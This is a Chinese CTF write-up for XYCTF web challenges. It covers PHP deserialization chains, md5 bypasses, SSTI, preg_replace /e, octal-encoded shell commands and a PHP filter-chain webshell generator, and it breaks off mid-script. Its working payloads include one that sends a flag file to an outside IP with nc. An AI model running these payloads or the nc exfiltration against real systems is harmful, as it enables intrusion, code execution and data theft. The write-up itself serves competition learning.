2023-XYCTF-wp

XYCTF WP WEB

第一周也是ak了web

队伍ak了re 目前排名第7 9639分 32解题 比隔壁高1名

ezPOP

<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

直接给的源码

看到有抛出一个报错 并且有__destruct() 所以要GC强制回收

链子很简单

强制回收后 反序列化触发__destruct(),echo调用触发__toString(),最后return触发__get 难点在get后unset($b['a']); 我们传入的a会被这unset删除

call_user_func($a,$b)($c)($d)是用于调用一个给定的回调函数,并将一个数组形式的参数列表作为参数传递给该回调函数

它首先使用 call_user_func 调用一个回调函数,该回调函数由 $a 变量指定,并将 $b 作为参数传递给这个回调函数。然后,它尝试将 $c 作为参数传递给 call_user_func 的返回值(假设它是一个可调用的东西),并将 $d 作为参数传递给 $c 调用结果的返回值

也就是说 a可以传入一个函数 然后返回后 可以将c传入一个参数 从而进行命令执行

也就是说传a=system 再传c=cat /flag就行

但这时 a会被unset删除

$b=$_POST``$_POST是一个超全局数组,用于收集通过HTTP POST方法提交到当前脚本的变量

当执行 $b = $_POST; 这行代码时,$b 会成为一个数组

这就很好处理了

unset有如下特性

  • unset整个arr,会立即释放内存
  • unset arr的kv, 内存暂时不变。但是如果在本arr中插入新的kv,他会复用unset的内存
  • unset arr所有成员之后,新建一个arr2,会新开内存,此时系统占用内存为arr释放前➕arr2新开的内存和

也就是说 我们可以将数组中的值提取出来

这样就可以绕过unset了

结合php官方文档函数

这就想到了无参数rce中的current函数了 这个函数可以将数组中的值提取出来

current函数 返回数组中的当前值

综上:

我们传a=current&current=system这样就可以绕过

过链子:

<?php
//error_reporting(0);
//highlight_file(__FILE__);

class AAA
{
public $s;
public $a;
// public function __toString()
//{
// echo "you get 2 A <br>";
// $p = $this->a;
//return $this->s->$p;
// }
}

class BBB
{
public $c;
public $d;
// public function __get($name)
// {
// echo "you get 2 B <br>";
// $a=$_POST['a'];
// $b=$_POST;
// $c=$this->c;
// $d=$this->d;
// if (isset($b['a'])) {
// unset($b['a']);
// }
// call_user_func($a,$b)($c)($d);
// }
}

class CCC
{
public $c;

//public function __destruct()
// {
// echo "you get 2 C <br>";
// echo $this->c;
// }
}


//if(isset($_GET['xy'])) {
//$a = unserialize($_GET['xy']);
//throw new Exception("noooooob!!!");
//}

$c=new CCC();
$b=new BBB();
$a=NEW AAA();
$b->c='cat /flag';
$a->s=$b;
$c->c=$a;
$d=array(0=>$c,1=>NULL);
echo serialize($D);

结果:

a:2:{i:0;O:3:”CCC”:1:{s:1:”c”;O:3:”AAA”:2:{s:1:”s”;O:3:”BBB”:2:{s:1:”c”;s:9:”cat /flag”;s:1:”d”;N;}s:1:”a”;N;}}i:1;N;}

但是这里是不能进行绕过的 不知道怎么回事 一点回显没有 连报错都没有

所以这里的回收要改一下

$d=array(0=>$c,1=>0); 然后改的结果

最后的结果是:

a:2:{i:0;O:3:”CCC”:1:{s:1:”c”;O:3:”AAA”:2:{s:1:”s”;O:3:”BBB”:2:{s:1:”c”;s:9:”cat /flag”;s:1:”d”;N;}s:1:”a”;N;}}i:0;i:0;}

image-20240406200334316

牢牢记住,逝者为大

 <?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

#man,,manba out

也是直接给源码

限制了长度小于13 一下子就想到了限制长度rce

再看他禁了什么 echo|exec|eval|system|fputs|\.|\/|\\| /bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i

明显是禁用的命令执行的相关函数和操作

直接反弹shell

但正常的反弹shell会使用\ > 这类符号 但这里都被禁用了

所以我们要另辟蹊径来进行反弹shell

直接上payload:

?cmd=%0a`$_GET[1]`;%23&1=nc 124.223.91.44 2333 < <(more /[b-z][b-z][^-b][b-z] )

nc 反弹

禁用了flag就正则绕过

使用more命令其实是这周另一个题目给的灵感 后面会有写道

`nc ip port < <(ls)`:这个命令中的 `< <` 符号表示将命令的输出作为输入传递给 `nc` 命令。`(ls)` 命令的输出会被传递给 `nc` 命令作为输入。这种写法是正确的,可以将 `(ls)` 命令的输出发送给 `nc` 命令,实现文件内容的传输。

而这里的()是 在后台创建一个临时文件 然后将文件重定向给 nc 然后执行命令 进行反弹

more命令是一个在Linux中常用的查看大文本文件内容的工具,它提供了分页显示和交互操作的功能,使用户能够更方便地浏览文件内容。

除了more命令还可以:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

看前面

eval(“#man,” . $cmd . “,mamba out”); 因为是拼接的 所以直接执行命令

%0a是换行 绕过前面的拼接 让eval可以执行后面命令

%23是# 将后面的拼接注释掉 但同时也注销了执行eval的;

所以要将;补上

``是执行命令的标志

image-20240406202106248

warm up

<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

md5的简单题 直接开绕

第一个绕过直接0e就行

第二个绕过也是弱比较 $a==md5($a)
0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

第三个绕过:

extract($_GET); 接收get传参的所有值

由此 我们可以对$XYCTF 进行重定义

而XYCTF_550102591进行md5加密后其实是0e开头的md5值

所有我们直接传0e的就行了

payload:

val1=s878926199a&val2=s155964671a&md5=0e215962017&XY=s878926199a&XYCTF=s878926199a

image-20240406210529143

进入第二关

一样有源码:

 <?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

有点汗流浃背

第一个绕过:

直接传数组就行

第二个绕过:

我只能说很巧 做题的前一天开周会才讲了 第二天就用到了

是preg_replace/e模式

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )

三个参数

会搜索 pattern 模式的匹配项并替换为 replacement

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

当替换成功(在replacement中要有)就会执行php代码

所有payload如下:

?a=/l/e&b=system('cat /flag');&c=l

a[]=1

image-20240406211925917

ezMake

image-20240406212035752

先随便传一个数看看

image-20240406212224815

直接问AI

-rwxr--r--    1 root     root            44 Apr  1 10:31 /flag

其中有这个命令

image-20240406212525293

明显是被禁用了 禁用了/

payload:

$(shell cat flag)

image-20240406213327956

这是用makefile执行shell的命令

ez?Make

image-20240406213448264

一样的 但是过滤了更多东西

直接payload:

cd .. && cd .. && cd .. && more [e-h][k-m][^-b][e-h]

image-20240406213658206

cd到根目录 执行more命令 因为禁用了f l a g 所有正则匹配就行

ezhttp

签到题

根极客的差不多

image-20240406213928342

f12有hint

image-20240406214002875

所有直接robots.txt

image-20240406214120255

访问

image-20240406214139994

登录

image-20240406214209129

这种题还是用bp好用

直接改referer

image-20240406214857269

改UA

image-20240406215008293

改本地

Client-IP:127.0.0.1

image-20240406215123274

改via

image-20240406215330143

改cookie

image-20240406215403465

ezmd5

image-20240406215456430

比较两个图片的md5

直接网上随便一搜就有

plane  md5同1

ship   md5同2

就这两张就行

image-20240406215706709

我是一个复读机

image-20240406215811408

有Hint

image-20240406215828295

弱密码爆破

image-20240406220204999

进入

image-20240406220257575

先随便传一个

image-20240406220319830

有url传参 但不是sql注入 结合题目 大概率ssti

传7*7

image-20240406220440756

确定ssti

但直接传穿不进去

传数字字母都是回显本身

那如果传汉字 符号呢

image-20240406220636710

image-20240406220653934

都是有特殊回显 并且在后面跟了一个{}

那传两个呢

image-20240406220826963

两个{{` `}}

再试下7*7呢hexo

image-20240406220917735

执行

接下来就简单了

测试过滤 然后ssti

手测了一下,过滤了 _ 、 ' 、 " 、 flag 、 system ,还有其他的啥,最终payload:

你好(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()&a=__globals__&b=os&c=cat /flag

简单绕过就行

image-20240406221648712

解释一下上述代码:lipsum是flask的一个方法,可以用于得到**builtins**,而且lipsum.**globals**含有os模块:{{lipsum.**globals**['os'].popen('ls').read()}},而request.values.x表示接受所有参数,包括get传参和post传参。这里就是先用lipsum得到builtins,然后从中获取了 os 模块,并使用os.popen() 执行了一个命令

he

绕过__ 利用values传参即可, 直接用attr绕过点,利用getitem绕过[], 然后就按照模版注入就行

傻鸟
()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)
()|attr(request.values.x4)
(221)|attr(request.values.x5)|attr(request.values.x6)|attr(request.values.x4
)(request.values.x7)|attr(request.values.x4)(request.values.x8)
(request.values.x9)&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem_
_&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('os').pop
en('cat /flag').read()

第一周就是到这里

第二周

web re pwn都ak了 但是我们队在抢一个签到题时附件弄错了 然后被ban了 QAQ

ezRCE

 <?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
really ez?

简单看一下 payload中只能有数字 \\ \ $ <

直接脚本秒了

import requests
n = dict()
n[0] = '0'
n[1] = '1'
n[2] = '2'
n[3] = '3'
n[4] = '4'
n[5] = '5'
n[6] = '6'
n[7] = '7'
n[8] = '8'
n[9] = '9'


f=''

def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:] #ord转为ascll,然后oct转为8进制,然后从第三位开始截取
s+='\\'+o #数字加上/ 为8进制形式
return s

def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'" #开头固定格式,然后就\\来区分数字
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''


#弹shell
print(build('cat /flag'))
#根据题目改下结果 url编码

结果:

image-20240410201518574

$0<<<$0\<\<\<\$\'\\143\\141\\164\\40\\57\\146\\154\\141\\147\'

但是明显这并不能进行RCE

所以要进行url编码

$0%3C%3C%3C$0%5C%3C%5C%3C%5C%3C%5C$%5C'%5C%5C143%5C%5C141%5C%5C164%5C%5C40%5C%5C57%5C%5C146%5C%5C154%5C%5C141%5C%5C147%5C'

image-20240410201714338

ezSerialize

<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);

class Flag {
public $token;
public $password;

public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}

public function login()
{
return $this->token === $this->password;
}
}

if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}

简单绕过 引用绕过

<?php
class Flag {
public $token;
public $password;
}
$a=new Flag();
$a->password = &$a->token;
echo serialize($a);

//O:4:"Flag":2:{s:5:"token";N;s:8:"password";R:2;}

image-20240410202112605

下一层:

fpclosefpclosefpcloseffflllaaaggg.php

 <?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}

class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}

class C {
public $wang1;

public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}


class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}

class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}

if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}

也是 简单链子

<?php
highlight_file(__FILE__);
class A {
public $mack;
}

class B {
public $luo;
}

class C {
public $wang1;
}

class D {
public $lao;
public $chen;
}

class E {
public $name = "xxxxx";
public $num;
}




$a=new A();
$b=new B();
$c=new C();
$d=new D();
$e=new E();
$c->wang1=NULL;
$a->mack=$c;
$b->luo=$a;
$d->lao=$b;
$d->chen=NULL;
$e->name=NULL;
$e->num=$d;
echo serialize($e);



//O:1:"E":2:{s:4:"name";N;s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}

image-20240410202358282

下一层

saber_master_saber_master.php

<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}

class XYCTFNO2
{
public $crypto0;
public $adwa;

public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}

public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";

public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}

public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}


if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}

这一层稍微难一点

首先一眼就看到echo new $_POST['X']($_POST['Y']);并且没有其他的可以执行命令的地方 所以这就是链子的终点(XYCTFNO3) 而我们一传CTF反序列化后会触发__wakeup 所以这也是链子的起点(XYCTFNO3)

而__wakeup会触发$this->XY();也就是可以到链子的终点

因此使$this->KickyMu->XYCTF()为true就是这道题的重点

但是明显KickyMu->XYCTF()这样肯定是不能这样调用的 所以我们要将KickyMu赋成其他值

XYCTF()在XYCTFNO2中 所以我们要将KickyMu赋成XYCTFNO2

public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}

XYCTF()要为true 就必须$this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258' adwa是一个属性 里面肯定没有crypto0 T1ng 属性 所以直接执行这段代码肯定是不行的

所以我们要把adwa赋成XYCTFNO2或者XYCTFNO1

再将crypto0 T1ng赋值就行

<?php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
}

class XYCTFNO2
{
public $crypto0;
public $adwa;
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
}

$a=new XYCTFNO1();
$b=new XYCTFNO2();
$c=new XYCTFNO3();
$c->N1ght=oSthing;
$c->KickyMu=$b;
$b->adwa=$a;
$a->T1ng="yuroandCMD258";
$a->crypto0="dev1l";
echo urlencode(serialize($c));

//O%3A8%3A%22XYCTFNO3%22%3A3%3A%7Bs%3A7%3A%22KickyMu%22%3BO%3A8%3A%22XYCTFNO2%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3BN%3Bs%3A4%3A%22adwa%22%3BO%3A8%3A%22XYCTFNO1%22%3A4%3A%7Bs%3A3%3A%22Liu%22%3BN%3Bs%3A4%3A%22T1ng%22%3Bs%3A13%3A%22yuroandCMD258%22%3Bs%3A17%3A%22%00XYCTFNO1%00upsw1ng%22%3BN%3Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3B%7D%7Ds%3A7%3A%22fpclose%22%3BN%3Bs%3A5%3A%22N1ght%22%3Bs%3A7%3A%22oSthing%22%3B%7D

image-20240410204921710

好 接下来就是读文件了

echo new $_POST['X']($_POST['Y']);传参x y

x明显要传一个函数 y传一个参数

这里要用到原生类了 原生类就那么几个 随便查查就知道了

X=SplFileObject&Y=php://filter/read=convert.base64-encode/resource=flag.php

image-20240410205200399

最后base64解密就行

image-20240410205250455

连连看到底是连连什么看

给了源码附件

进去是一个连连看

image-20240410205642231

看了下f12 没什么信息

直接看附件

image-20240410205730711

两个重要文件 index.php和what’s_this.php

明显 index.php是这个js连连看的网页源码 看下

<?php
error_reporting(0);
if (isset($_GET['file'])) {
$payload = $_GET['file'];
if (preg_match('/readme\.txt/', $payload)) {
echo '一个简单的js版连连看游戏(或许通关就有flag?【也可能只是或许!】)';
} else {
echo "想做文件包含?请跳转what's_this.php";
}

}

?>

<!DOCTYPE html>
<html lang="zh-CN">

<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<link rel="stylesheet" href="css/style.css">
<title>连连看</title>
</head>

<body>
<div class="container">
<div class="heading">
<p class="time"></p>
<button id="restart" class="btn">restart</button>
<a href="./?file=readme.txt">
<button class="btn">about</button>
</a>
</div>
<div class="grid-container"></div>
</div>
<script src="js/config.js"></script>
<script src="js/util.js"></script>
<script src="js/view.js"></script>
<script src="js/game.js"></script>
<script src="js/event.js"></script>
<script src="js/main.js"></script>
</body>

</html>
<?php
error_reporting(0);
if (isset($_GET['file'])) {
$payload = $_GET['file'];
if (preg_match('/readme\.txt/', $payload)) {
echo '一个简单的js版连连看游戏(或许通关就有flag?【也可能只是或许!】)';
} else {
echo "想做文件包含?请跳转what's_this.php";
}

}

?>

get传一个file后 第一个echo明显没什么用(刚刚不是看了js代码嘛) 第二个echo叫我们访问what’s_this.php 看下

<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}

根据highlight_file(__FILE__)和跳转what’s_this.php 这个文件应该是可以直接访问的 试下

image-20240410210234256

没问题

有点懵

找到一道相似的题 但是这道更难 waf

<?php
highlight_file(__FILE__);
error_reporting(0);
$a=$_POST[1];
$b="php://filter/$a/resource=/dev/null";
if(file_get_contents($b)==="2024"){
echo file_get_contents('/flag');
}else{
echo $b;
}

这道题的非预期解是POST:1=resource=data:,2024<|string.strip_tags|

|string.strip_tags|这是将一些脏字符回收了

但是这道题过滤了= 所以这个payload不能用

但是这道题还有预期解:

在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE

PHP Base64 Filter中合法字符只有A-Za-z0-9\/\=\+,其他字符会自动被忽略,包括不可见字符、控制字符什么的

并且我们可以通过编码形式,构造产生自己想要的内容

PHP Filter 当中有一种 convert.iconv 的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。

我们可以通过 iconv 来将 UTF-8 字符集转换到 UTF-7 字符集

所以可以利用一些固定文件内容来产生 webshell 结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符

那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。

例如我们生成 PAaaaaa ,最后经过 base64 解码得到第一个字符为 < ,后续为其他不需要的字符(我们这里不需要的字符称为垃圾字符)的字符串。

所以我们接下来需要做的,就是利用以上技巧找到这么一类编码,可以只存在我们需要的构造一个 webshell 的 base64 字符串了。

因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell

><?=`$_GET[0]`;;?>

以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4= ,而如果只使用了一个分号,则编码结果为 PD89YCRfR0VUWzBdYDs/Pg== ,这里 7 可能相对于斜杠比较好找一些,也可能是 exp 作者没有 fuzz 或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终 base64 编码中的斜杠。

根据以上规则,再将其反推回去即可,可以验证一下我们得到的结果 脚本:

><?php
>$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
>$conversions = array(
>'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
>'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
>'C' => 'convert.iconv.UTF8.CSISO2022KR',
>'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
>'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
>'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
>'s' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
>'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
>'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
>'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
>'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
>'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
>'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
>'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
>'d' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
>'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
>'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
>'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
>);

>$filters = "convert.base64-encode|";
># make sure to get rid of any equal signs in both the string we just generated and the rest of the file
>$filters .= "convert.iconv.UTF8.UTF7|";

>foreach (str_split(strrev($base64_payload)) as $c) {
>$filters .= $conversions[$c] . "|";
>$filters .= "convert.base64-decode|";
>$filters .= "convert.base64-encode|";
>$filters .= "convert.iconv.UTF8.UTF7|";
>}
>$filters .= "convert.base64-decode";

>$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

>// echo $final_payload;
>var_dump(file_get_contents($final_payload));

>// hexdump
>// 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`|
>// 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|

但是这个脚本直接般到这道题是不行的 因为不够 而且有脏字符

这里需要注意的地方是:

  • convert.iconv.UTF8.UTF7 将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让 convert.base64-decode 过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。但是实际测试貌似我遇到的情况并没有抛出 Error ,最差情况抛出了 warning 但不是特别影响,但是为了避免奇怪的错误,还是加上为好。

  • data://,后的数据是为了方便展示,需要补足一定的位数,当然如果使用 include 就不能用了,毕竟需要 RFI ,如果 RFI 选型能用,既然都是 RFI 了还整啥 LFI 呢2333

让我们再回过头来看,虽然这个做法比较的新颖,但是其实深入理解之后会发现,这个攻击技巧需要我们提前把所有单字符的编码形式给 fuzz 出来,而且 fuzz 的结果还要有一定的技巧性,并不是所有出现了合法字符的编码形式就是符合要求的。

在跟 @wupco 老师讨论后,我们要找的字符编码形式要求为( 假设我们要找的字符为 x ):

  • x 必须在最终生成的字符串的前端

  • 字符串前端的字符当中,最好的情况是允许存在仅且唯一一个 x 对于 PHP Base64 来说合法的字符。当然这里可以允许存在其他合法字符,但是对于 fuzz 来说通用性并不强,当确实没办法找到单个字符的时候可以使用多个字符来代替。

我们简单拿 8 这个字符的编码规则 (convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2) 举个例子:

>$url = "php://filter/convert.iconv.UTF8.UTF7|";
>$url .= "convert.iconv.UTF8.CSISO2022KR";
>$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
>var_dump(file_get_contents($url));

>// hexdump
>// 00000000 73 74 72 69 6e 67 28 32 30 29 20 22 1b 24 29 43 |string(20) ".$)C|
>// 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa|
>// 00000020 22 0a |".|

>$url = "php://filter/convert.iconv.UTF8.UTF7|";
>$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16";
>$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
>var_dump(file_get_contents($url));

>// hexdump
>// 00000000 73 74 72 69 6e 67 28 33 34 29 20 22 ff fe 61 00 |string(34) "..a.|
>// 00000010 61 00 61 00 61 00 61 00 61 00 61 00 61 00 61 00 |a.a.a.a.a.a.a.a.|
>// 00000020 61 00 61 00 61 00 61 00 61 00 61 00 61 00 22 0a |a.a.a.a.a.a.a.".|

>$url = "php://filter/convert.iconv.UTF8.UTF7|";
>$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
>$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
>var_dump(file_get_contents($url));

>// hexdump
>// 00000000 73 74 72 69 6e 67 28 36 38 29 20 22 38 01 fe 00 |string(68) "8...|
>// 00000010 61 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |a...a...a...a...|
>// *
>// 00000050 22 0a |".|

可以看到我们通过编码规则逐步拓展了原字符串的字节长度,在原字符串的前端生成了我们想要构造的字符,所以对于我们需要的编码规则条件来说,还需要拓展原字节长度,这也算是第一个条件的原理。

我们可以基于以上去做一些简单的 fuzz ,整个 fuzz 原理并不复杂,最后检查通过 Filter 规则生成的结果是否满足以上条件即可。

虽然我们知道只要编码规则用得好,其实文件内容是什么无关紧要,但是如果实在是找不到可用文件怎么办?

这里需要用到一个小技巧:作者发现,convert.iconv.UTF8.CSISO2022KR 总是会在字符串前面生成 \x1b$)C ,所以我们可以利用这个来产生足够的垃圾数据供我们构造 Payload ,以下用一个空文件生成一个 8 来测试:

>$url = "php://filter/";

>$url .= "convert.iconv.UTF8.CSISO2022KR|";
>$url .= "convert.base64-encode|";
